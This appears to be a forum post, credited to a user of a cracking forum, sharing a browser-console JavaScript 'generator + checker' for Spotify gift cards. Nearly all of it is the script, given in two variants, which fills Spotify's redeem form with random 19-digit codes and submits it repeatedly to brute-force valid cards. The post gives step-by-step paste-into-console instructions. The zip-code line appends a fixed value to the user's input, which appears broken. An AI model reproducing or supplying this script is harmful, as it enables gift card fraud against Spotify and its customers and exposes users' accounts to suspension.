Spotify Giftcard Generator + Checker

[Vaporwave]

I'm not responsible for what is done to your account.
This method is not by me it's by a user on nulled.
I thought of sharing it here :)
I like that GREEN
1. Go to https://www.spotify.com/us/redeem/
2. Sign in.
3. Press ctrl+shift+j (to open console).
4. Paste the following code in and click enter.
5. Follow the prompts and begin generating+checking!
Code:

var speed = prompt("Speed of checker/gen (Recommended 1000 for fast pcs, 500 for slow)")
var zip = prompt("Zipcode (leave blank for default)") + "10008"
function generateCode() {
var code = "";
var chars = "0123456789";
for (var i = 0; i < 19; i++)
code += chars.charAt(Math.floor(Math.random() * chars.length));
return code;
}
function main() {
document.getElementById("redeem_code_token").value = generateCode();
document.getElementById("redeem_code_zip-code").value = zip;
document.getElementById("redeem_code_submit").click();
}
setInterval(function() {
main();
}, speed);

NOTE: If there is no "zip code" section, please use the code below.
Code:

var speed = prompt("Speed of checker/gen (Recommended 1000 for fast pcs, 500 for slow)")
function generateCode() {
var code = "";
var chars = "0123456789";
for (var i = 0; i < 19; i++)
code += chars.charAt(Math.floor(Math.random() * chars.length));
return code;
}
function main() {
document.getElementById("redeem_code_token").value = generateCode();
document.getElementById("redeem_code_submit").click();
}
setInterval(function() {
main();
}, speed);